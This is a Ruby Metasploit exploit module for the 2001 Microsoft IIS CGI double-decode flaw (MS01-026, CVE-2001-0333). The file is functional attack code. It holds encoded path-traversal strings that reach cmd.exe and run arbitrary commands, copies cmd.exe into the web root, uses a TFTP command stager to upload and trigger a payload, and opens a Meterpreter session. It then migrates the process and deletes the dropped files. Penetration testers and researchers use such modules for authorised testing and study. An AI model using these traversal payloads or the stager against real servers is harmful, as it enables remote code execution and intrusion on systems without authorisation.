##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/tftp'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  # NOTE: This cannot be an HttpClient module since the response from the server
  # is not a valid HttpResponse
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution',
      'Description'    => %q{
          This module will execute an arbitrary payload on a Microsoft IIS installation
        that is vulnerable to the CGI double-decode vulnerability of 2001.

        NOTE: This module will leave a metasploit payload in the IIS scripts directory.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2001-0333' ],
          [ 'OSVDB', '556' ],
          [ 'BID', '2708' ],
          [ 'MSB', 'MS01-026' ],
          [ 'URL', 'http://marc.info/?l=bugtraq&m=98992056521300&w=2' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'CmdStagerFlavor' => 'tftp',
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 15 2001'
    ))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
      ])

    framework.events.add_exploit_subscriber(self)
  end


  def dotdotslash
    possibilities = [
      "..%255c",
      "..%%35c",
      "..%%35%63",
      "..%25%35%63",
      ".%252e/",
      "%252e./",
      "%%32%65./",
      ".%%32%65/",
      ".%25%32%65/",
      "%25%32%65./"
    ]
    possibilities[rand(possibilities.length)]
  end


  def mini_http_request(opts, timeout=5)
    connect
    req = ''
    req << opts['method']
    req << ' '
    req << opts['uri']
    req << ' '
    req << "HTTP/1.0\r\n"
    req << "Host: #{datastore['RHOST']}\r\n"
    req << "\r\n"
    sock.put(req)

    # This isn't exactly awesome, but it seems to work..
    begin
      headers = sock.get_once(-1, timeout) || ''
      body = sock.get_once(-1, timeout) || ''
    rescue ::EOFError
      # nothing
    end

    disconnect
    [headers, body]
  end


  def detect_windows_dir()
    win_dirs = [ 'winnt', 'windows' ]
    win_dirs.each { |dir|

      res = execute_command("dir", { :windir => dir })
      if (res.kind_of?(Array))
        body = res[1]
        if (body and body =~ /Directory of /)
          return dir
        end
      end
    }
    return nil
  end


  def check
    @win_dir = detect_windows_dir()
    if @win_dir
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end


  #
  # NOTE: the command executes regardless of whether or not
  # a valid response is returned...
  #
  def execute_command(cmd, opts = {})

    # Don't try the start command...
    # Using the "start" method doesn't seem to make iis very happy :(
    return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/

    print_status("Executing command: #{cmd} (options: #{opts.inspect})")

    uri = '/scripts/'
    exe = opts[:cgifname]
    if (not exe)
      uri << dotdotslash
      uri << dotdotslash
      uri << (opts[:windir] || @win_dir)
      uri << '/system32/cmd.exe'
    else
      uri << exe
    end
    uri << '?/x+/c+'
    uri << Rex::Text.uri_encode(cmd)

    vprint_status("Attempting to execute: #{uri}")

    mini_http_request({
        'uri'     => uri,
        'method'  => 'GET',
      }, 20)
  end


  def exploit

    @win_dir = datastore['WINDIR']
    if not @win_dir
      # try to detect the windows directory
      @win_dir = detect_windows_dir()
      if not @win_dir
        fail_with(Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!")
      end
    end
    print_status("Using windows directory \"#{@win_dir}\"")

    # now copy the file
    exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
    print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
    # NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
    # Unfortunately, using %SystemRoot% doesn't seem to work :(
    res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}")

    if (datastore['CMD'])
      res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
      if (res[0])
        print_status("Command output:\n" + res[0])
      else
        print_error("No output received")
      end

      res = execute_command("del #{exe_fname}")
      return
    end

    # Use the CMD stager to get a payload running
    execute_cmdstager({:temp => '.', :linemax => 1400, :cgifname => exe_fname})

    # Save these file names for later deletion
    @exe_cmd_copy = exe_fname
    @exe_payload = stager_instance.payload_exe

    # Just for good measure, we'll make a quick, direct request for the payload
    # Using the "start" method doesn't seem to make iis very happy :(
    print_status("Triggering the payload via a direct request...")
    mini_http_request({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)

    handler

  end

  #
  # The following handles deleting the copied cmd.exe and payload exe!
  #
  def on_new_session(client)

    if client.type != "meterpreter"
      print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
      print_error("The copied exe and the payload exe must be removed manually.")
      return
    end

    return if not @exe_cmd_copy

    # stdapi must be loaded before we can use fs.file
    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    # Delete the copied CMD.exe
    print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
    client.fs.file.rm(@exe_cmd_copy)

    # Migrate so  that we can delete the payload exe
    client.console.run_single("run migrate -f")

    # Delete the payload exe
    return if not @exe_payload

    delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload

    print_status("Changing permissions on #{delete_me_too} ...")
    cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too
    client.sys.process.execute(cmd, nil, {'Hidden' => true })

    print_warning("Deleting #{delete_me_too} ...")
    begin
      client.fs.file.rm(delete_me_too)
    rescue ::Exception => e
      print_error("Exception: #{e.inspect}")
    end
  end

  def cleanup
    framework.events.remove_exploit_subscriber(self)
  end

end
